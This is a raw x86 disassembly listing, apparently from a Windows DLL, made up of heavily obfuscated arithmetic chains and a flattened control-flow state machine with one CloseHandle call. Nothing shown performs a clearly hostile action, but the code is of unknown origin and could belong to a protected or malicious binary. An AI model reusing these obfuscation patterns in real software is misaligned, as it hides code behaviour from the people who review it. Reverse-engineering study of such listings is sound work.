mov dword [ebp - 0x14], ebx
mov esi, ebx
not esi
or ebx, 0x2dac8eef
mov ecx, ebx
and ecx, 0xbbf36407
mov edx, esi
and edx, 0x40001110
or edx, ecx
mov ecx, eax
xor ecx, 0xd2537110
and ecx, eax
mov eax, ecx
not eax
or ebx, eax
and eax, 0xbbf36407
and ecx, 0x440c9bf8
or ecx, eax
xor ecx, edx
not ebx
or ebx, ecx
xor ebx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0xc0367e44
and esi, 0x3fc981bb
or esi, eax
xor edi, 0xd783b887
or ecx, edi
mov edx, ecx
and edi, 0xc0367e44
mov eax, dword [ebp - 0x20]
and eax, 0x3fc981bb
or eax, edi
xor eax, esi
not edx
or edx, eax
not edx
or edx, ebx
mov dword [ebp - 0x14], edx
mov esi, edx
not esi
mov eax, esi
and eax, 0x6a52a0
mov ecx, edx
and ecx, 0x1d040011
or ecx, eax
xor ecx, 0x1d040011
mov eax, edx
xor eax, 0x1d6e52b1
and eax, edx
or eax, ecx
mov ebx, dword [ebp - 0x18]
mov edi, ebx
xor ebx, 0xe291ad4e
mov edx, dword [ebp - 0x1c]
and ebx, edx
and edi, 0xffc75833
and edx, 0x38a7cc
or edx, edi
mov ecx, edx
xor ecx, 0x38a7cc
xor edx, 0xe2a90a82
and edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x1a11bbb1
and edx, 0xe5ee444e
or edx, ecx
mov ecx, ebx
not ecx
or edi, ecx
and ecx, 0x1a11bbb1
and ebx, 0xe5ee444e
or ebx, ecx
xor ebx, edx
not edi
or edi, ebx
xor edi, eax
mov eax, edi
not eax
mov ecx, edi
and ecx, 0x3924c56b
and eax, 0xc6db3a94
or eax, ecx
mov ecx, dword [ebp - 0x14]
or edi, ecx
and ecx, 0x3924c56b
and esi, 0xc6db3a94
or esi, ecx
xor esi, eax
not edi
or edi, esi
xor edi, 0xffffffff
setne dl
sete ah
cmp dword [0x10045904], 0xa
setl cl
setge al
mov dh, ah
mov ch, cl
xor cl, dl
mov ebx, ecx
xor bl, ah
and bl, ah
xor ah, al
and dh, al
and ch, dl
or ch, dh
or cl, al
or al, dl
xor al, 1
or al, ch
mov edx, eax
xor dl, 1
mov ch, dl
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, dl
mov dl, ch
and dl, ah
or al, ah
xor ah, 1
xor ch, 1
and ch, ah
xor al, 1
or al, dl
or al, ch
mov ch, bl
xor ch, 1
mov ah, cl
mov dl, ch
and dl, bl
xor dl, 1
or dl, bl
xor dl, 1
or dl, ch
mov dh, dl
xor dh, 1
and dh, cl
mov bh, cl
xor bh, 1
or ah, bl
mov cl, ch
or cl, bh
mov ch, cl
xor ch, ah
or cl, ah
xor cl, 1
or cl, ch
and dl, bh
or dl, dh
or bh, bl
xor dl, 1
mov ah, dl
xor ah, bh
or dl, bh
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ch, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
xor dl, 1
mov ch, cl
xor ch, 1
and ch, ah
and dl, cl
or dl, ch
mov ch, cl
xor ch, ah
or ah, cl
xor ah, 1
or ah, ch
xor dl, 1
mov ecx, edx
xor cl, ah
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
and ah, dl
xor ah, 1
mov ecx, edx
xor cl, ah
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
mov edx, ecx
and dl, ah
xor dl, 1
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
mov ch, ah
and ch, dl
xor ch, 1
or ch, ah
xor ch, 1
or ch, dl
and dl, al
mov dh, al
xor dh, 1
mov al, dh
xor al, ch
and ch, al
and al, dh
mov bl, ch
xor bl, 1
xor ch, al
xor al, 1
or al, bl
xor al, 1
or al, ch
or cl, dh
and ah, dh
or ah, dl
mov dl, ah
and ah, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and ch, cl
and dl, cl
or dl, ah
xor ch, 1
xor dl, 1
mov cl, ch
xor cl, dl
or dl, ch
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ch, cl
xor ch, 1
mov ah, al
xor ah, 1
mov edx, ecx
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, cl
xor dl, ah
and ch, al
and ah, cl
or ah, ch
or cl, al
xor cl, 1
or cl, ah
mov ch, dl
or ch, cl
xor cl, dl
mov al, ch
xor al, cl
test al, 1
mov edx, 0x27190ee1
mov eax, 0x3a32672b
cmovne edx, eax
test cl, 1
mov eax, edx
mov esi, 0x27190ee1
cmovne eax, esi
test ch, 1
cmovne eax, edx
jmp 0x1000f9b0
cmp eax, 0xaab0d565
je 0x10022fbe
cmp eax, 0xab3ba6e6
jne 0x1000f9b0
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0x81c203d4
mov ecx, edx
mov esi, edx
mov dword [ebp - 0x20], edx
and ecx, 0x2000000b
or ecx, eax
xor ecx, 0x2000000b
mov eax, edi
and eax, 0x5e3dfc20
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x81d8700f
and ecx, 0x7e278ff0
or ecx, eax
mov eax, edi
and eax, 0x9ea1e361
and esi, 0x615e1c9e
or esi, eax
mov eax, ecx
xor eax, 0x7e278ff0
xor esi, 0x9ea1e361
or esi, edi
mov edx, eax
xor edx, esi
and edx, eax
xor ecx, 0x81d8700f
xor eax, ecx
and eax, esi
xor eax, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xf51846e2
and edx, 0xae7b91d
or edx, ecx
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0xf51846e2
and eax, 0xae7b91d
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov eax, ebx
not eax
mov ecx, ebx
and ecx, 0x91100e55
xor ebx, 0x24cff008
and ebx, eax
and eax, 0x4a2001a2
or eax, ecx
xor eax, 0x4a2001a2
or ebx, eax
mov eax, ebx
xor eax, 0x890803d
xor ebx, 0x27056f02
mov ecx, ebx
and ecx, 0xf36a18c0
and eax, 0xc95e73f
or eax, ecx
xor eax, 0xf5f7835
xor ebx, eax
and ebx, eax
mov edx, edi
mov dword [ebp - 0x28], edi
mov eax, edi
and eax, 0x2400a08
mov esi, dword [ebp - 0x20]
mov ecx, esi
and ecx, 0x18a9502
or ecx, eax
xor ecx, 0x18a9502
mov edi, esi
and edi, 0xfc3560f5
or edi, ecx
mov ecx, edx
and ecx, 0x76358adf
mov eax, esi
and eax, 0x89ca7520
or eax, ecx
mov ecx, eax
xor ecx, 0x89ca7520
xor eax, 0x76358adf
and eax, edi
not edi
and ecx, edi
or eax, ecx
xor edi, eax
and edi, eax
mov eax, ebx
not eax
mov dword [ebp - 0x1c], eax
and eax, 0x540010bd
mov ecx, ebx
and ecx, 0x23410200
or ecx, eax
xor ecx, 0x23410200
mov eax, ebx
xor eax, 0x774112bd
and eax, ebx
or eax, ecx
mov dword [ebp - 0x14], eax
mov eax, edi
not eax
mov dword [ebp - 0x30], eax
and eax, 0xc0680102
mov ecx, edi
and ecx, 0x20821c48
or ecx, eax
mov esi, ecx
xor esi, 0x20440
xor ecx, 0xdf7de3b7
mov edx, ecx
and edx, 0x70dddb89
and esi, 0x80220442
or esi, edx
mov edx, edi
xor edx, 0xe0ea1d4a
and edx, edi
mov eax, edx
not eax
or ecx, eax
and eax, 0x70dddb89
and edx, 0x8f222476
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov esi, dword [ebp - 0x1c]
mov eax, esi
and eax, 0x4839d4fa
and ebx, 0xb7c62b05
or ebx, eax
xor esi, ebx
and esi, ebx
mov dword [ebp - 0x18], ecx
mov eax, ecx
xor eax, 0x1f15e2b5
mov dword [ebp - 0x24], eax
mov ebx, ecx
xor ebx, 0xe0ea1d4a
mov edx, ebx
and edx, 0xaf4389db
and eax, 0x50bc7624
or eax, edx
mov edx, dword [ebp - 0x14]
xor edx, 0x774112bd
mov dword [ebp - 0x2c], edx
or edx, 0xb7c62b05
mov ecx, esi
not esi
xor ecx, esi
and ecx, edx
or edx, esi
xor ecx, esi
not edx
or ecx, edx
mov esi, ecx
xor eax, 0xe77a5d21
or eax, ebx
mov ecx, dword [ebp - 0x30]
or ecx, 0x4839d4fa
mov edx, eax
or edx, ecx
and ecx, 0xe81c7f4
and edi, 0xb1462801
or edi, ecx
xor edi, eax
not edx
xor edi, 0xf17e380b
or edi, edx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x4e388bd4
mov edx, esi
and edx, 0xb1c7742b
or edx, ecx
mov ecx, edx
xor ecx, 0x810003
xor edx, 0xa100150
or edx, 0xb00a4804
and edx, 0xbb5e5974
and ecx, 0x40a18283
or ecx, edx
or eax, 0xb541170
and eax, 0xbb5e5974
mov edx, esi
and edx, 0x4002408
or edx, eax
xor edx, edi
xor edx, ecx
mov dword [ebp - 0x1c], edx
mov eax, ebx
or eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
xor ecx, 0xdf02871b
and ecx, eax
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
mov edi, edx
xor edx, 0x48a988ec
mov esi, dword [ebp - 0x2c]
and edx, esi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xc6837b9f
and edx, 0x397c8460
or edx, eax
mov dword [ebp - 0x14], edx
xor edi, 0x88beed42
mov eax, esi
or eax, 0xc01765ae
or ecx, eax
and eax, 0xc6837b9f
mov edx, edi
and edx, 0x39688040
or edx, eax
xor edx, dword [ebp - 0x14]
not ecx
or ecx, edx
xor ecx, dword [ebp - 0x18]
mov eax, edi
and eax, 0x948272ec
and esi, 0x6b7d8d13
or esi, eax
mov eax, dword [ebp - 0x24]
or edi, eax
and eax, 0x948272ec
and ebx, 0x6b7d8d13
or ebx, eax
xor ebx, esi
not edi
or edi, ebx
mov esi, ecx
not esi
mov eax, esi
and eax, 0xdab310d9
and ecx, 0x254cef26
or ecx, eax
xor ecx, edi
or esi, edi
mov eax, dword [ebp - 0x1c]
xor eax, 0x4bf593f3
xor ecx, 0x254cef26
not esi
or esi, ecx
xor esi, eax
and eax, esi
not esi
or esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0xfc3560f4
mov ecx, esi
and esi, 0x3ca9f0b
or esi, edx
or ecx, 0x3ca9f0b
not esi
or esi, eax
mov eax, ecx
not eax
mov edx, eax
xor edx, esi
and edx, eax
xor eax, ecx
and eax, esi
xor eax, ecx
or eax, edx
mov edx, eax
not edx
mov esi, edx
and esi, 0x655ecdd5
mov ecx, eax
and ecx, 0x9aa1322a
or ecx, esi
mov esi, ecx
xor esi, 0x200028
xor ecx, 0x1200c4
or ecx, 0x40880203
and ecx, 0xca9a02c7
and esi, 0x204c38
or esi, ecx
mov edi, edx
and edi, 0x4423c5f8
mov ecx, eax
and eax, 0xbbdc3a07
or eax, edi
xor eax, 0x4423c5f8
or eax, edx
or edx, 0x8a1200c4
and edx, 0xca9a02c7
and ecx, 0x3545b100
or ecx, edx
xor ecx, esi
mov edx, ecx
xor edx, 0x4413202
xor ecx, 0x80000060
and edx, 0xe737e9e
and ecx, 0xf18c8161
or ecx, edx
mov esi, ecx
xor esi, 0xe737e9e
xor ecx, 0xf18c8161
mov edi, esi
and edi, 0x19a44868
mov edx, ecx
and edx, 0xe65bb797
or edx, edi
mov ebx, eax
not ebx
mov edi, eax
and edi, 0x7ccd1d19
xor eax, 0xdd63174
and eax, ebx
and ebx, 0x8332e2e6
or ebx, edi
mov edi, edx
xor edi, 0x10200000
or edi, 0x9563074
mov dword [ebp - 0x14], edx
xor edx, 0x20010603
and edi, 0xdb7eb0f4
and edx, 0x20014e0b
or edx, edi
or esi, 0xd2288080
and esi, 0xdb7eb0f4
and ecx, 0x4800100
or ecx, esi
xor ecx, edx
mov edi, ebx
xor edi, 0x8332e2e6
xor ebx, 0x8ee4d392
and ebx, edi
mov esi, ebx
not esi
mov edx, esi
and edx, 0x6fda2e3b
and ebx, 0x9025d1c4
or ebx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x6fda2e3b
and eax, 0x9025d1c4
or eax, edx
xor eax, ebx
not esi
or esi, eax
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
mov ecx, dword [ebp - 0x14]
xor ecx, 0xe65bb797
or edi, ecx
not edi
or edi, eax
mov dword [ebp - 0x18], edi
mov ebx, dword [ebp - 0x28]
mov ecx, ebx
and ecx, 0x80008080
mov edi, dword [ebp - 0x20]
mov eax, edi
and eax, 0x2000804
or eax, ecx
xor eax, 0x80008080
or eax, 0x7dff777b
mov ecx, eax
and ecx, 0x916aaca4
mov edx, ebx
and edx, 0x2000000
or edx, ecx
mov ecx, edi
xor ecx, 0x82008884
and ecx, edi
mov esi, ecx
not esi
or eax, esi
and esi, 0x916aaca4
and ecx, 0x6e95535b
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x14e23131
xor eax, 0x82008800
and eax, 0xeb1dce4a
and ecx, 0x14e231b5
or ecx, eax
mov eax, ecx
xor eax, 0xa21025
xor ecx, 0x4115ca00
and ecx, 0x5555eb90
and eax, 0xaaaa146f
or eax, ecx
mov ecx, eax
xor ecx, 0xa47e54dc
xor eax, 0xaaaa146f
and eax, ecx
mov ecx, ebx
and ecx, 0xc44fce13
mov edx, edi
and edx, 0x3bb031ec
or edx, ecx
xor edx, 0x3564715f
xor ebx, edx
and ebx, edx
mov ecx, eax
xor ecx, 0xfe82bd8
mov esi, ecx
and ecx, eax
not eax
mov dword [ebp - 0x14], eax
and esi, eax
mov edx, esi
not edx
mov edi, edx
and edi, 0x22dda683
and esi, 0xdd22597c
or esi, edi
mov edi, ecx
not edi
or edx, edi
and edi, 0x22dda683
and ecx, 0xdd22597c
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov ecx, ebx
mov edi, ebx
xor edi, 0xfe82bd8
mov ebx, edi
and edi, ecx
not ecx
and ebx, ecx
mov esi, ebx
not esi
mov eax, esi
and eax, 0xff283cc2
and ebx, 0xd7c33d
or ebx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0xff283cc2
and edi, 0xd7c33d
or edi, eax
xor edi, ebx
not esi
or esi, edi
xor esi, edx
or ecx, dword [ebp - 0x14]
not ecx
or ecx, esi
mov edi, ecx
xor edi, 0xed440b3
mov eax, ecx
xor eax, 0xf12bbf4c
mov dword [ebp - 0x28], eax
mov edx, edi
or edx, 0x7302081
and edx, 0x87b468b1
and eax, 0x500b0508
or eax, edx
xor ecx, 0xde5b0d8b
and ecx, edi
mov edx, ecx
not edx
mov ebx, edi
or ebx, edx
and edx, 0x87b468b1
and ecx, 0x784b974e
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
not ecx
and ecx, 0x2f70b2c7
and ebx, 0xd08f4d38
or ebx, ecx
mov dword [ebp - 0x14], ebx
mov edx, dword [ebp - 0x18]
mov esi, edx
not esi
mov eax, edx
and eax, 0xf6358288
mov ecx, esi
mov dword [ebp - 0x20], esi
and ecx, 0x9ca7d77
or ecx, eax
xor ecx, 0x174408a
mov eax, ecx
xor eax, edx
and eax, ecx
or esi, 0x1a1d50
mov ecx, edx
and ecx, 0x11418000
and esi, 0xe61a5f52
or esi, ecx
not ebx
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
and ecx, 0x7d38fd7f
mov edx, dword [ebp - 0x14]
and edx, 0x82c70280
or edx, ecx
xor edx, 0x8a793f7d
mov ecx, edx
xor ecx, ebx
and ecx, edx
mov dword [ebp - 0x24], ecx
mov ebx, dword [ebp - 0x28]
mov edx, ebx
and edx, 0x8be3dfd
and edi, 0xf741c202
or edi, edx
xor ebx, edi
and ebx, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc4f568cc
and eax, 0x3b0a9733
or eax, edx
mov edx, esi
xor edx, 0xe6104a42
mov edi, esi
xor esi, 0x22410202
and esi, edx
xor edi, 0x19e5a0ad
or ecx, edi
and edi, 0xc47148c4
or esi, edi
and esi, 0xf771cac6
xor esi, eax
mov eax, esi
xor eax, 0x2008
xor esi, 0xff7bdff7
mov edx, esi
and edx, 0xa99dc535
and eax, 0x56623aca
or eax, edx
mov edx, ecx
not edx
or esi, ecx
and ecx, 0xa99dc535
and edx, 0x56400202
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov edi, ebx
xor edi, 0xe419afd0
and edi, ebx
mov eax, ebx
not eax
mov dword [ebp - 0x28], eax
and eax, 0xe419afd0
or edi, eax
mov ecx, dword [ebp - 0x24]
mov eax, ecx
xor eax, 0xe419afd0
mov edx, eax
and eax, ecx
not ecx
mov dword [ebp - 0x24], ecx
and edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x1dd09200
and edx, 0xe22f6dff
or edx, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0x1dd09200
and eax, 0xe22f6dff
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
xor ecx, edi
mov edx, dword [ebp - 0x28]
or edx, dword [ebp - 0x24]
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0xac2067b7
and ecx, 0x53df9848
or ecx, eax
xor ecx, edx
or ebx, edx
xor ecx, 0x53df9848
not ebx
or ebx, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xb1145514
and esi, 0x4eebaaeb
or esi, ecx
mov ecx, ebx
not ecx
xor esi, 0xb1145514
or esi, ecx
and ecx, 0xbe852598
and ebx, 0x417ada67
or ebx, ecx
xor ebx, 0xbe852598
or ebx, eax
not esi
not ebx
or ebx, esi
mov ecx, dword [ebp - 0x18]
mov edx, ecx
xor ecx, 0x3d24c2b1
mov eax, dword [ebp - 0x20]
and ecx, eax
and edx, 0x19007f6d
and eax, 0xe6ff8092
or eax, edx
mov esi, eax
xor esi, 0xe6ff8092
mov dword [ebp - 0x18], esi
mov edx, eax
xor edx, 0xdbdb4223
and edx, esi
mov edi, edx
not edi
mov esi, edi
and esi, 0xddaf1d49
and edx, 0x2250e2b6
or edx, esi
mov esi, ecx
not esi
or edi, esi
and esi, 0xddaf1d49
and ecx, 0x2250e2b6
or ecx, esi
xor ecx, edx
not edi
or edi, ecx
mov edx, dword [ebp - 0x14]
mov esi, edx
xor esi, 0x40503508
xor edx, 0x3c0442a1
and edx, 0xbe8f4ae7
and esi, 0x4170b518
or esi, edx
xor esi, edi
xor eax, 0x19007f6d
mov edx, eax
and edx, 0xb6a38890
mov ecx, dword [ebp - 0x18]
and ecx, 0x495c776f
or ecx, edx
mov edx, dword [ebp - 0x14]
or eax, edx
and edx, 0xb6a38890
mov edi, dword [ebp - 0x1c]
and edi, 0x495c776f
or edi, edx
xor esi, 0xbe8f4ae7
xor edi, ecx
not eax
or eax, edi
not eax
or eax, esi
xor eax, ebx
and ebx, eax
mov edx, eax
not edx
mov ecx, ebx
not ecx
mov esi, ecx
and esi, 0x9e5ba755
and ebx, 0x61a458aa
or ebx, esi
or ecx, eax
and eax, 0x9e5ba755
and edx, 0x61a458aa
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x40240307
mov esi, ecx
and esi, 0x84131008
or esi, eax
xor esi, 0x84131008
mov eax, ecx
xor eax, 0xc437130f
and eax, ecx
or eax, esi
mov esi, eax
xor esi, 0x388c470
xor eax, 0x84311303
and eax, 0xbc713b83
and esi, 0x438ec47c
or esi, eax
mov eax, esi
xor eax, 0x438ec47c
xor esi, 0x84713b03
and esi, 0xc473ff2f
mov edi, eax
and edi, 0x3b8c00d0
or edi, esi
xor edi, 0xb1954ae5
and eax, 0x75e6b5ca
or eax, edi
mov esi, eax
not esi
and edx, 0x21462580
and ecx, 0x54a0904a
or ecx, edx
mov edx, ecx
xor edx, 0x4208002
or edx, 0x88110225
xor ecx, 0x20580
and ecx, 0x508215c8
and edx, 0xad75a227
or edx, ecx
mov ecx, edx
xor edx, 0x528a5dd8
mov edi, esi
xor edi, edx
and edi, esi
and eax, 0x6e7803f2
and esi, 0x9187fc0d
or esi, eax
xor ecx, 0x104a000
and edx, 0x6e7803f2
and ecx, 0x1186b408
or ecx, edx
xor ecx, esi
or ecx, edi
mov esi, ecx
mov edx, ecx
xor edx, 0x75e6b5ca
and edx, ecx
mov eax, ecx
or eax, 0x8a194a35
not esi
mov ecx, eax
and ecx, 0x2ee75b52
and esi, 0x5100a488
or esi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0x2ee75b52
and edx, 0xd118a4ad
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0x306b41f3
mov ecx, eax
and ecx, 0xcf94be0c
or ecx, edx
mov edx, ecx
xor edx, 0x306b41f3
and esi, 0xf058479c
and eax, 0xfa7b863
or eax, esi
mov esi, eax
xor eax, 0xf058479c
and eax, edx
xor esi, 0xfa7b863
xor ecx, 0xcf94be0c
and esi, ecx
or eax, esi
xor ecx, eax
test ecx, eax
sete ch
setne cl
cmp dword [0x10045904], 0xa
setge al
mov ah, al
inc ah
mov edx, eax
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov dh, bl
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, bl
mov dl, dh
xor dl, 1
and dl, dh
xor dl, 1
mov bl, dh
xor bl, dl
or dl, dh
xor dl, 1
or dl, bl
mov dh, dl
xor dh, 1
and dh, dl
xor dh, 1
mov bl, dh
xor bl, dl
or dh, dl
xor dh, 1
or dh, bl
mov dl, dh
xor dl, 1
and dh, dl
xor dh, 1
mov ebx, edx
xor bl, dh
or dh, dl
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
mov dl, dh
and dl, bl
xor dl, 1
or dl, bl
xor dl, 1
or dl, dh
mov dh, dl
xor dh, 1
and dl, dh
xor dl, 1
mov ebx, edx
xor bl, dh
or dl, dh
xor dl, 1
or dl, bl
mov dh, dl
xor dh, 1
and dl, dh
xor dl, 1
mov bl, dh
xor bl, dl
or dl, dh
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov dh, bl
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, bl
mov dl, dh
xor dl, 1
and dl, dh
xor dl, 1
mov bl, dh
xor bl, dl
or dl, dh
xor dl, 1
or dl, bl
and ch, al
mov dh, ah
and dh, cl
or dh, ch
mov ch, al
or ch, cl
xor ch, 1
or dh, ch
xor dl, cl
xor al, cl
or cl, ah
xor cl, 1
and al, ah
or al, cl
mov ah, al
mov cl, dh
or al, dh
xor dh, 1
xor ah, 1
or cl, ah
or ah, dh
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ah, al
and al, cl
xor cl, 1
xor ah, 1
mov ch, cl
xor ch, ah
and ch, cl
and ah, cl
mov cl, dl
xor cl, 1
or ah, al
or ah, ch
mov al, ah
xor al, 1
and al, ah
xor al, 1
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ah, al
xor ah, 1
and al, ah
xor al, 1
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ah, al
xor ah, 1
mov ch, al
and ch, ah
xor ch, 1
or ch, ah
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov ah, al
and ah, ch
xor al, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, al
mov ch, ah
xor ch, 1
mov al, ah
or al, dl
and cl, ah
and ch, dl
or ch, cl
mov cl, ch
xor cl, ah
and cl, ch
xor dl, ah
and dl, ah
mov ch, cl
xor ch, 1
and ch, dl
xor dl, 1
mov dh, cl
xor dh, dl
and dh, cl
and dl, cl
mov ah, al
xor ah, 1
or dl, ch
or dl, dh
mov ch, dl
xor ch, 1
and ch, ah
mov cl, al
and cl, dl
or cl, ch
and al, ah
xor al, 1
mov ch, al
xor ch, ah
or al, ah
xor al, 1
or al, ch
xor al, dl
or dl, ah
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
mov eax, edx
and al, cl
xor cl, 1
and ch, cl
or ch, al
or cl, dl
mov eax, ecx
xor al, ch
test al, 1
mov edx, 0x7881002c
mov eax, 0x7e59af00
cmovne edx, eax
test cl, 1
mov eax, 0x7881002c
jmp 0x1002466d
cmp eax, 0x21b79a20
je 0x1002467b
cmp eax, 0x27190ee1
jne 0x1000f9b0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, dword [0x10045900]
lea esi, [eax + 1]
imul esi, eax
mov dword [ebp - 0x14], esi
mov edx, esi
not edx
mov dword [ebp - 0x20], edx
mov eax, edx
and edx, 0x8b1b0c28
mov ecx, esi
and ecx, 0x74e4f3d7
or ecx, edx
xor ecx, 0x74e4f3d7
and eax, esi
or ecx, eax
mov edx, ecx
not edx
mov edi, edx
and edi, 0x5151f122
mov esi, ecx
and esi, 0xaeae0edd
or esi, edi
mov edi, esi
xor edi, 0x102002
or edi, 0x85214004
xor esi, 0x22020499
and edi, 0x8db16006
and esi, 0x62020599
or esi, edi
or edx, 0x8902002
and edx, 0x8db16006
and ecx, 0x104c9a60
or ecx, edx
xor ecx, esi
mov edx, ecx
xor edx, 0x6a92259b
mov esi, ecx
xor esi, 0x1081000
and esi, 0x498a1011
xor ecx, 0x9769358a
and ecx, edx
and edx, 0xb4710000
or edx, esi
mov esi, edx
xor esi, 0xa0210000
xor edx, 0x4b8effff
mov edi, edx
and edi, 0x555ad917
and esi, 0xa8a10000
or esi, edi
mov edi, ecx
not edi
or edx, edi
and edi, 0x555ad917
and ecx, 0xaaa526e8
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov edi, edx
xor edi, 0x204efee
mov esi, edx
xor esi, 0x53c5cae6
and esi, edi
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x1fb8836f
and esi, 0xe0477c90
or esi, ebx
xor edx, 0x40410000
or edi, 0xae3edaf7
or ecx, edi
and edi, 0x1fb8836f
and edx, 0x40412400
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x98ac0e99
and ecx, 0x6753f166
or ecx, edx
xor ecx, 0x3692d46e
xor esi, ecx
and esi, ecx
mov ebx, esi
mov edi, dword [ebp - 0x14]
mov ecx, edi
and ecx, 0x47105b37
mov edx, dword [ebp - 0x20]
and edx, 0xb8efa4c8
or edx, ecx
mov esi, eax
not esi
mov ecx, edi
or ecx, esi
and esi, 0x47105b37
and eax, 0xb8efa4c8
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xae3edaf7
and eax, ecx
xor ecx, 0x51c12508
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x2955215a
and eax, ecx
or ecx, 0xd6aadea5
mov esi, ecx
and esi, 0xe3459d0d
and edx, 0x8102052
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xe3459d0d
and eax, 0x1cba62f2
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0x968a1a01
xor ecx, 0x2955215a
mov edx, ecx
and edx, 0x6070c5e4
and eax, 0x9f8f3a1b
or eax, edx
xor eax, 0x9f8f3a1b
or eax, ecx
mov edx, ebx
not edx
mov ecx, ebx
mov dword [ebp - 0x24], ebx
or ecx, 0x8081480c
and ecx, 0xea8d480d
mov esi, edx
mov dword [ebp - 0x28], edx
and edx, 0x145210d2
or edx, ecx
mov ecx, esi
or ecx, 0x6a0c0001
and ecx, 0xea8d480d
mov edi, ebx
and edi, 0x120a720
or edi, ecx
xor edi, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x49de1805
mov esi, edx
and edx, 0xb621e7fa
or edx, ecx
xor edx, 0xccdbc484
or edx, eax
mov dword [ebp - 0x2c], edx
and eax, 0x3df3ea3a
and esi, 0xc20c15c5
or esi, eax
mov edx, edi
xor edx, 0x81a1ef2c
xor edi, 0x7e5e10d3
mov dword [ebp - 0x1c], edi
mov eax, edi
and eax, 0x8505dc81
mov dword [ebp - 0x18], esi
xor esi, 0x3df3ea3a
mov ecx, edx
xor ecx, esi
and ecx, edx
mov dword [ebp - 0x30], ecx
mov edi, esi
mov ebx, esi
and esi, edx
and edx, 0x7afa237e
or edx, eax
and dword [ebp - 0x24], 0x6b252962
mov ecx, dword [ebp - 0x28]
mov eax, ecx
and eax, 0x94dad69d
add eax, dword [ebp - 0x24]
xor eax, 0x11df0a1c
and ecx, 0x7afa237e
or ecx, eax
xor dword [ebp - 0x18], 0xc20c15c5
not edx
mov eax, dword [ebp - 0x1c]
or edx, eax
and eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
and eax, 0x84569ac2
and edi, 0x7ba9653d
or edi, eax
xor edi, 0x1534643
and ebx, 0x8505dc81
or ebx, edi
mov eax, ecx
not eax
mov edi, edx
or edi, ecx
and ecx, 0x9ae7908d
and eax, 0x65186f72
or eax, ecx
xor eax, edx
not edi
xor eax, 0x65186f72
or eax, edi
mov edx, ebx
xor edx, ebx
not edx
mov ecx, dword [ebp - 0x2c]
and edx, ecx
xor edx, ebx
